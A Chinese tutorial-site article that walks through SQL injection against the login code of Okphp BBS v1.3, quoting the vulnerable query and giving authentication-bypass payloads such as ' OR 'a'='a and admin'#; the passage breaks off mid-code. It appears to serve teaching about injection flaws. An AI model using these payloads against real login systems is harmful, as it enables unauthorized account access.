网站首页 语言 会计 电脑 医学 资格证 职场 文艺体育 范文
当前位置:书香门第 > 计算机 > php语言

攻击方法注射语句构造php+mysql

栏目: php语言 / 发布于: / 人气:2.11W

以下是本站小编精心为大家整理的利用php+mysql注射语句构造的攻击方法,希望对大家有所帮助!更多内容请关注应届毕业生网!

攻击方法注射语句构造php+mysql

  一.前言:

版本信息:Okphp BBS v1.3 开源版

下载地址:

由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的`构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助。

声明:文章所有提到的“漏洞”,都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造。

 二.“漏洞”分析:

 n/注射导致绕过身份验证漏洞:

代码:

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

$password = md5($password);

$q = "select id,group_id from $user_table where username='$username' and password='$password'";

$res = sql_query($q,$conn);

$row = sql_fetch_row($res);

$q = "select id,group_id from $user_table where username='$username' and password='$password'"中

$username 和 $password 没过滤, 很容易就绕过。

对于select * from $user_table where username='$username' and password='$password'这样的语句改造的方法有:

构造1(利用逻辑运算):$username=' OR 'a'='a $password=' OR 'a'='a

相当于sql语句:

select * from $user_table where username='' OR 'a'='a' and password='' OR 'a'='a'

构造2(利用mysql里的注释语句# ,/* 把$password注释掉):$username=admin'#(或admin'/*)

即:

select * from $user_table where username='admin'#' and password='$password'"

相当于:

select * from $user_table where username='admin'

在admin/中$q语句中的$password在查询前进行了md5加密所以不可以用构造1中的语句绕过。这里我们用构造2:

select id,group_id from $user_table where username='admin'#' and password='$password'"

相当于:

select id,group_id from $user_table where username='admin'

只要存在用户名为admin的就成立,如果不知道用户名,只知道对应的id,

我们就可以这样构造:$username=' OR id=1#

相当于:

select id,group_id from $user_table where username='' OR id=1# and password='$password'(#后的被注释掉)

我们接着往下看代码:

if ($row[0]) {

// If not admin or super moderator

if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {

$login = 0;

}

else {

$login = 1;

}

}

// Fail to login---------------

if (!$login) {

write_log("Moderator login","0","password wrong");

echo "